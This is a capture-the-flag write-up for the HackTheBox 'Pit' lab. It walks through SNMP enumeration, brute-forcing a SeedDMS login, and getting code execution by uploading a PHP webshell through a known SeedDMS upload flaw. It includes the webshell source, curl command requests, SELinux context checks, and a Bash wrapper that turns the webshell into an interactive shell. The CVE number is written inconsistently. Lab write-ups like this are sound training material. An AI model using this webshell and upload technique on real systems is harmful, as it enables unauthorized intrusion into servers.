Remote Code Execution

I initially found out that the target system has 2 web servers running over the port 80 and 9090 The port 9090 was hosting an instance of Cockpit and I wasn’t able to proceed further into enumeration as I did not have any credential The port 80 initially appeared to be a dummy web server with the default installation page of Nginx because I could not find anything.

I was stuck at that point and turned my head around by checking the UDP ports. To my surprise, a SNMP service was running over the port 161 While I was able to learn more about the target system and the environment that it was in by enumerating the SNMP service, I found out that one of the OIDs had a string pointed to a web root directory, suggesting that there is an instance of SeedDMS at the /var/www/html/seeddms51x/seeddms directory

Using the username that was disclosed through the SNMP enumeration, I was then able to brute-force my way in to the web GUI panel where I found a note made by admin, pointing out that the web application just had an upgrade to SeedDMS 5.1.15 from SeedDMS 5.1.10 due to security reasons. The note also mentioned to take a look at the attached file. Through the attached file, I found out that the previous SeedDMS 5.1.10 was suffering from CVE-2017-12744, an RCE vulnerability, and it was then mitigated by adding an .htaccess file to the /data directory of the web application by the development team.

The issue still stands as the target web application is hosted by Nginx because the .htaccess file is Apache specific file, NOT Nginx.

here, i will attempt to exploit the vulnerability ([[pit_cve-2019-12744#cve-2019-12744|CVE-2017-12744]]) as it is STILL present in the target web application

1. Authenticate and add a document

First off, the [[Pit_CVE-2019-12744#Exploit|exploit]] suggested to authenticate to the web application and add a document under any folder. I will use the Michelle folder as I am authenticated as the michelle user.

It seems that I have write permission to the /Docs/Users/Michelle folder as indicated by the tab at the top. The Add document button there must be the one I am looking for.

2. PHP webshell

┌──(kali㉿kali)-[~/archive/htb/labs/pit]
└─$ cat webshell.php 
<?php system($_GET['cmd']); ?>

I will then create a simple PHP webshell to upload

3. Upload

I am editing only the Name and Local file field. I will give it a name, webshell, and attach the webshell.php file to the Local file field

4. Document id

The newly created document had its documentid assigned to 31

5. Code Execution

The exploit mentions that the uploaded PHP file is located at /data/1048576/<documentid>/1.php directory documentid being 31 as figured earlier and the 1.php file must be the PHP webshell that I uploaded.

┌──(kali㉿kali)-[~/archive/htb/labs/pit]
└─$ curl 'http://dms-pit.htb/seeddms51x/data/1048576/32/1.php?cmd=id'
uid=992(nginx) gid=988(nginx) groups=988(nginx) context=system_u:system_r:httpd_t:s0

Code execution is confirmed.

Now to spawn a reverse shell

SELinix

┌──(kali㉿kali)-[~/archive/htb/labs/pit]
└─$ curl -s 'http://dms-pit.htb/seeddms51x/data/1048576/36/1.php' 
<pre>daemonize: pcntl_fork() does not exists, moving on...
soc_error: 13: Permission denied
</pre>

attempting to execute a php reverse shell fails with a permission related error. This isn’t unusual at all as there is SELinux installed and configured for the target system

in selinux, every process and file has a security context that defines its access controls. The format of the context is user:role:type:level

┌──(kali㉿kali)-[~/archive/htb/labs/pit]
└─$ curl -s 'http://dms-pit.htb/seeddms51x/data/1048576/37/1.php?cmd=id%20-Z'
system_u:system_r:httpd_t:s0

system_u:system_r:httpd_t:s0 is a SELinux security context label that consists of four parts separated by colons:

system_u refers to the SELinux user.
system_r refers to the SELinux role.
httpd_t refers to the SELinux type, which is a label assigned to a process or file that defines the allowed interactions with other processes or files on the system.
s0 refers to the SELinux level, which is a sensitivity label that defines the security level of the resource.

This conclude that I am ONLY allowed to perform actions that are web-related.

┌──(kali㉿kali)-[~/archive/htb/labs/pit]
└─$ curl -s 'http://dms-pit.htb/seeddms51x/data/1048576/41/1.php?cmd=cockpit-bridge%20--version'                   
version: 224.2
protocol: 1
payloads: dbus-json3 http-stream1 http-stream2 stream packet fsread1 
    fsreplace1 fswatch1 fslist1 null echo websocket-stream1 
authorization: crypt1

I was thinking about exploiting the Cockpit instance hosted on the target port 9090 After many trials and errors due to the restriction set by SELinux, I found a way to enumerate the version information. Unfortunately, Cockpit 224.2 does not have critical vulnerability that would get me access.

tmpshell.sh

#!/bin/bash
 
if [[ -z "$1" ]]; then
  echo "Please provide a URL for the PHP webshell"
  exit 1
fi
 
if [[ "$1" == "--url" ]]; then
  shift
fi
 
url="$1"
 
while true; do
  read -p "$ " cmd
  if [[ -z "$cmd" ]]; then
    continue
  fi
  encoded_cmd=$(printf %s "$cmd" | sed 's/[&/\]/\\&/g; s/ /%20/g')
  curl -s "$url?cmd=$encoded_cmd"
  echo ""
done

I created a simple Bash script that creates a temporary interactive shell environment for a PHP webshell. The script takes a single command-line argument, which is the --url for the PHP webshell that I uploaded earlier. The script loops through the user input and also encodes the user input to the URL format

┌──(kali㉿kali)-[~/archive/htb/labs/pit]
└─$ ./tmpshell.sh --url http://dms-pit.htb/seeddms51x/data/1048576/44/1.php
$ whoami
nginx
 
$ hostname
pit.htb
 
$ id
uid=992(nginx) gid=988(nginx) groups=988(nginx) context=system_u:system_r:httpd_t:s0

It works. Although limited, Initial Foothold established to the target system as the nginx user

InfoSec LAB

Explorer

Pit_Exploitation